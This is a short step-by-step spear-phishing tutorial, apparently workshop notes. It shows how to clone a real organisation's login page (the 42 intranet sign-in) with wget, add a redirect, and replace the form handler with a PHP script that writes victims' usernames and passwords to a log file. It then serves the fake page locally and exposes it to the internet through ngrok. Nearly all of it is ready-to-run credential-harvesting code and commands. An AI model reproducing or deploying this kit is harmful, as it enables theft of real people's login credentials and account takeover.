PHISHING

man phishing_

Phishing VS Spear Phishing

Spear Phishing Step-By-Step

- 1. OSINT
- 2. Web Cloning
- 3. Fake domain hosting
- 4. Contact method, spoofing

Cloning the website

wget --recursive --level=1 --page-requisites --html-extension --convert-links --no-parent --random-wait https://signin.intra.42.fr/users/sign_in --domains=42.fr

Make a redirection from index to login site:

```
<meta http-equiv="refresh" content="0; url=site/users/sign_in.html" />
```

Create your own .php file and replace it on the form:

```php
<?php
header ('Location: origin_url');

$user = $_POST["uname"];
$pass = $_POST["pword"];
$file = fopen("log.txt", "a");

fwrite($file, "\n\n----------------------------------------\n");
fwrite($file, "User: ");
fwrite($file, $user);
fwrite($file, "\nPassword: ");
fwrite($file, $pass);
fwrite($file, "\n----------------------------------------\n\n");

fclose($file);
exit;
?>
```

Modify input names and action in .html:

- Form action-> redirection.php
- Name input-> uname
- Password input-> pword

(same names as in .php file)

Start PHP server on local network:

```
php -S 0.0.0.0:8088 -t ./ -q &
```

BONUS
Redirect the server to the internet:

ngrok http 8088